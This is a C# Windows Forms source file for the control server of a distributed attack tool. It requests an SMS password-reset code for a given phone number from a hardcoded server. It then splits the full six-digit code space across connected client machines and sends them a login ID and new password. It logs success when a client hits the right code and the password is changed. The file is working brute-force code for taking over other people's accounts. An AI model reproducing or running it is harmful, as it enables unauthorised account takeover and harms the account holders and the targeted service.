﻿using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Main
{
    public partial class FormServer1 : Form
    {
        private static int RECEIVE_BUFFER_SIZE = 1024 * 16;
        private List<string> hosts = new List<string>();

        private List<Socket> clientList = new List<Socket>();

        private Socket socket;
        private Thread ListenThread;
        private Thread ReceiveThread;
        private Thread FenPeiThread;

        private Sending sending;

        private System.Timers.Timer timer;
        private static int timerCounter = 0;


        public FormServer1()
        {
            InitializeComponent();
        }

        private void textBox1_TextChanged(object sender, EventArgs e)
        {

        }

        private void FormServer1_Load(object sender, EventArgs e)
        {


            this.InitHostCmbox();
            if (this.cmbThreadNum.Items.Count > 0)
            {
                this.cmbThreadNum.SelectedIndex = 0;
            }
            
            this.cmbSpeed.SelectedIndex = 0;

            
            //this.cmbThreadNum.SelectedIndex = 0;

            ThreadPool.SetMinThreads(1, 1);
            ThreadPool.SetMaxThreads(8, 8);

            
            
        }

        private void Timer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            this.Invoke(new Action(() =>
            {
                timerCounter++;
                
                if (timerCounter < 60)
                {
                    labTime.Text = "00:" + timerCounter.ToString().PadLeft(2, '0');
                }
                else
                {
                    int minute = timerCounter / 60;
                    int seconds = timerCounter % 60;
                    labTime.Text = minute.ToString().PadLeft(2, '0') + ":" + seconds.ToString().PadLeft(2, '0');
                }

                if (timerCounter >= 900)
                {
                    timer.Stop();
                    btnStop_Click(null, null);
                }

            }));
            
        }

        private void InitHostCmbox()
        {
            this.GetAllLocalHosts();
            for (int i = 0; i < this.hosts.Count; i++)
            {
                this.cmbHost.Items.Add(this.hosts[i]);
            }
            if(this.cmbHost.Items.Count > 0)
            {
                this.cmbHost.SelectedIndex = 0;
            }
            
        }

        private List<string> GetAllLocalHosts()
        {
            string hostName = Dns.GetHostName();
            System.Net.IPAddress[] addressList = Dns.GetHostAddresses(hostName);
            foreach (IPAddress ip in addressList)
            {
                if(ip.IsIPv6LinkLocal)
                {
                    continue;
                }
                try
                {
                    string _temp_ip = ip.MapToIPv4().ToString();
                    string[] ipstr = _temp_ip.Split('.');
                    if (ipstr[0] == "127" || ipstr[0] == "10" || ipstr[0] == "172")
                    {
                        continue;
                    }
                    else
                    {
                        string temp = hosts.Where(s => s == _temp_ip).FirstOrDefault();
                        if (temp == null)
                        {
                            hosts.Add(_temp_ip);
                        }
                    }
                }
                catch (Exception)
                {

                    
                }
                
            }
            return hosts;
        }

        private void btnStartServer_Click(object sender, EventArgs e)
        {
            socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            IPEndPoint point = new IPEndPoint(IPAddress.Parse(this.cmbHost.Text), Int32.Parse(this.txtPort.Text));
            try
            {
                socket.Bind(point);//绑定端口号
                socket.Listen(10);//设置监听
            }
            catch (Exception)
            {

                Log("这个IP不可用");
                return;
            }
            
            Log("启动成功");

            //创建监听线程
            ListenThread = new Thread(ListenThreadProc);
            ListenThread.IsBackground = true;
            ListenThread.Start();

            //创建读取每个客户端socke中的数据线程
            //CLIENT_FINISH
            ReceiveThread = new Thread(ReceiveThreadProc);
            ReceiveThread.IsBackground = true;
            ReceiveThread.Start();
        }

        /// <summary>
        /// 监听连接线程
        /// </summary>
        protected void ListenThreadProc()
        {
            Console.WriteLine("ListenThreadProc running");
            while (true)
            {
                Socket clientSocket = this.socket.Accept();
                clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 1000*10);//10秒延迟

                clientList.Add(clientSocket);
                this.Invoke(new Action(()=> { labClientCount.Text = clientList.Count.ToString(); }));
            }
        }


        private void ReceiveThreadProc()
        {
            Console.WriteLine("ReceiveThreadProc running");
            while (true)
            {
                Thread.Sleep(500);
                for (int i = 0; i < clientList.Count; i++)
                {
                    Socket socket = clientList[i];
                    byte[] buffer = new byte[RECEIVE_BUFFER_SIZE];
                    if(socket.Available > 0)
                    {
                        try
                        {
                            int len  = socket.Receive(buffer);
                            if(len > 0)
                            {
                                string data = Encoding.Default.GetString(buffer).TrimEnd('\0');
                                string[] clientDataArr = data.Split('$');

                                for (int j = 0; j < clientDataArr.Length; j++)
                                {
                                    string clientData = clientDataArr[j];
                                    if(clientData == string.Empty)
                                    {
                                        continue;
                                    }

                                    string[] cmdOne = clientData.Split('|');

                                    string cmd = cmdOne[0];
                                    if (cmd == "CLIENT_SUCCESS")
                                    {
                                        this.Invoke(new Action(() => {
                                            labFinish.Text = (Int32.Parse(labFinish.Text) + 1).ToString();
                                        }));

                                        this.Invoke(new Action(() => {
                                            labResult.Text = cmdOne[1];
                                            Log("密码修改成功,验证码:" + cmdOne[1]);
                                            labResult.BackColor = Color.Green;
                                            labResult.ForeColor = Color.White;
                                            btnStop_Click(null, null);
                                        }));
                                        
                                    }
                                    else if (cmd == "CLIENT_FINISH")
                                    {
                                        this.Invoke(new Action(() => {
                                            labFinish.Text = (Int32.Parse(labFinish.Text) + 1).ToString();
                                        }));
                                    }
                                }

                                

                            }
                        }
                        catch (Exception ex)
                        {
                            Log(ex.Message);
                        }
                    }
                }
            }
        }

        private void btnRefresh_Click(object sender, EventArgs e)
        {
            ThreadPool.QueueUserWorkItem(new WaitCallback(SendCmdThreadProc), "REFRESH");
            sending = new Sending();
            sending.ShowDialog();
            Log("刷新命令发送完成");
            Log("最新客户端数量:" + clientList.Count);
        }


        private void SendCmdThreadProc(object o)
        {
            string data = (string)o;

            for (int i = 0; i < clientList.Count; i++)
            {
                Socket socket = clientList[i];
                try
                {
                    socket.Send(Encoding.Default.GetBytes(data));

                    /*byte[] buffer = new byte[RECEIVE_BUFFER_SIZE];
                    socket.Receive(buffer);
                    string ret = Encoding.Default.GetString(buffer).TrimEnd('\0');
                    if(!ret.StartsWith("OK"))
                    {
                        //没有收到正确的反馈
                        clientList.Remove(socket);
                        i = i - 1;
                    }*/

                }
                catch (Exception ex)
                {
                    try
                    {
                        clientList.Remove(socket);
                        i = i - 1;
                    }
                    catch (Exception)
                    {

                        
                    }
                    
                }

                this.Invoke(new Action(() => {
                    sending.SendingProgress.Maximum = clientList.Count;
                    sending.SendingProgress.Value = i+1;
                    if(clientList.Count == 0)
                    {
                        sending.Close();
                    }
                    else if((i+1) == clientList.Count)
                    {
                        sending.Close();
                    }
                }));
                
            }

            this.Invoke(new Action(() =>{
                this.labClientCount.Text = clientList.Count.ToString();

            }));

        }

        private void btnSettingParam_Click(object sender, EventArgs e)
        {

            if (clientList.Count == 0)
            {
                Log("客户端数量0");
                return;
            }

            string loginId = this.txtLoginId.Text+"_"+ this.txtSufix.Text;
            string password = this.txtPassword.Text;
            string param = this.txtParam.Text;
            string threadNum = this.cmbThreadNum.Text;
            string speed = this.cmbSpeed.Text;

            if(loginId == "")
            {
                Log("请输入账号");
                return;
            }
            if (password == "")
            {
                Log("请输入密码");
                return;
            }
            if(param == "")
            {
                Log("请输入参数");
                return;
            }
            if (threadNum == "")
            {
                Log("请输入线程");
                return;
            }
            if (speed == "")
            {
                Log("请输入频率");
                return;
            }



            string data = "SETTING|" + loginId + "|" + password + "|" + threadNum + "|" + param + "|" + speed;

            ThreadPool.QueueUserWorkItem(new WaitCallback(SendCmdThreadProc), data);
            sending = new Sending();
            sending.ShowDialog();

            Log("参数设置完成");
        }

        

        private void btnFenPei_Click(object sender, EventArgs e)
        {
            int start = 1;
            int end = 999999;

            if(clientList.Count == 0)
            {
                Log("客户端数量0");
                return;
            }

            //int clientCount = 3;
            int pageSize = end / clientList.Count;

            List<string> list = new List<string>();
            for (int i = 0; i < clientList.Count; i++)
            {
                int num1 = start + (i*pageSize);
                int num2 = (num1-1) + pageSize;
                list.Add(string.Format("{0}-{1}",num1.ToString().PadLeft(6, '0'), num2.ToString().PadLeft(6,'0')));
            }

            if(list.Count > 0)
            {
                //把不同的分配任务发送给客户端
                ThreadPool.QueueUserWorkItem(new WaitCallback(FenPeiThreadProc), list);
            }


            /*for (int i = 0; i < list.Count; i++)
            {
                
            }*/
            sending = new Sending();
            sending.ShowDialog();
            Log("工作分配完成");
        }

        

        private void FenPeiThreadProc(object o)
        {
            List<string> taskList = (List<string>)o;

            for (int i = 0; i < clientList.Count; i++)
            {
                Socket socket = clientList[i];

                try
                {
                    string[] temp = taskList[i].Split('-');
                    string cmd = string.Format("FENPEI|{0}|{1}",temp[0],temp[1]);
                    socket.Send(Encoding.Default.GetBytes(cmd));
                }
                catch (Exception ex)
                {
                    //TODO LOG 记录那个客户端没有分配到任务
                    Log("分配任务出错："+ex.Message);
                }

                this.Invoke(new Action(() => {
                    sending.SendingProgress.Maximum = clientList.Count;
                    sending.SendingProgress.Value = i + 1;

                    if ((i + 1) == clientList.Count)
                    {
                        sending.Close();
                    }
                }));
            }
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            if (clientList.Count == 0)
            {
                Log("客户端数量0");
                return;
            }
            labFinish.Text = "0";
            labResult.Text = "000000";

            labResult.BackColor = Color.Transparent;
            labResult.ForeColor = Color.Black;

            timer = new System.Timers.Timer(1000);
            timer.Elapsed += Timer_Elapsed;
            timer.Start();



            ThreadPool.QueueUserWorkItem(new WaitCallback(SendCmdThreadProc), "START");
            sending = new Sending();
            sending.ShowDialog();
            Log("开始命令发送完成");
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            if (clientList.Count == 0)
            {
                Log("客户端数量0");
                return;
            }

            timerCounter = 0;
            if(timer != null)
            {
                timer.Stop();
            }
            


            ThreadPool.QueueUserWorkItem(new WaitCallback(SendCmdThreadProc), "STOP");
            sending = new Sending();
            sending.ShowDialog();
            Log("停止命令发送完成");

            /*if(ReceiveThread != null && ReceiveThread.IsAlive)
            {
                ReceiveThread.Abort();
            }*/
        }

        private void btnPause_Click(object sender, EventArgs e)
        {
            if (clientList.Count == 0)
            {
                Log("客户端数量0");
                return;
            }

            if(btnPause.Text == "暂停")
            {
                btnPause.Text = "继续";
                ThreadPool.QueueUserWorkItem(new WaitCallback(SendCmdThreadProc), "PAUSE");
            }
            else if (btnPause.Text == "继续")
            {
                btnPause.Text = "暂停";
                ThreadPool.QueueUserWorkItem(new WaitCallback(SendCmdThreadProc), "CONTINUE");
            }
            sending = new Sending();
            sending.ShowDialog();
            Log("暂停命令发送完成");
        }

        private void btnSendSms_Click(object sender, EventArgs e)
        {
            string mobile = this.txtLoginId.Text;
            if (mobile == string.Empty)
            {
                Log("请输入手机号");
                return;
            }

            /*if(this.txtSufix.Text != string.Empty)
            {
                mobile = mobile + "_" + this.txtSufix.Text;
            }*/


            string paramT = CryptUtil.CreateMD5Hash(DateTime.Now.ToFileTime().ToString()).ToLower();
            Random rd = new Random();
            string paramID = rd.Next(100000, 999999).ToString();

            string sendCodeUrl = "https://47.112.103.115:9443/findPasswordCode?pid=11&mobile=" + mobile + "&t=" + paramT + "&id=" + paramID;



            HttpWebResponse response = HttpRequest.CreateGetHttpResponse(sendCodeUrl);
            if (response.StatusCode != HttpStatusCode.OK)
            {
                Log("服务器响应异常，状态码:" + response.StatusCode.ToString());
                return;
            }


            string serverResult = string.Empty;
            using (Stream responseStream = response.GetResponseStream())
            {
                using (StreamReader sread = new StreamReader(responseStream))
                {
                    serverResult = sread.ReadToEnd();
                }
            }

            serverResult = serverResult.Trim();
            if (serverResult == string.Empty)
            {
                Log("服务器相应内容空");
                return;
            }

            HuanLe.JinDiServerResult resultObj = JsonConvert.DeserializeObject<HuanLe.JinDiServerResult>(serverResult);
            if (resultObj.isSuccess())
            {
                txtParam.Text = paramT + "|" + paramID;
                Log("发送成功");
                //this.paramT = paramT;
                //this.paramID = paramID;

                //Log(string.Format("短信发送成功 paramT={0} paramID={1}", paramT, paramID));
            }
            else
            {
                //Log("短信发送失败，信息：" + resultObj.msg);
            }
        }

        private void Log(string str)
        {
            this.txtLog.Invoke(new Action(() =>
            {
                if (this.txtLog.Lines.Length > 5000)
                {
                    this.txtLog.Clear();
                }
                DateTime dt = System.DateTime.Now;
                StringBuilder sb = new StringBuilder();
                sb.Append("[");
                sb.Append(dt.ToString("t"));
                sb.Append("]");
                sb.Append(" ");
                sb.Append(str);
                sb.Append("\r\n");
                this.txtLog.AppendText(sb.ToString());
            }));

        }

        private void 清空ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            this.txtLog.Clear();
        }
    }
}
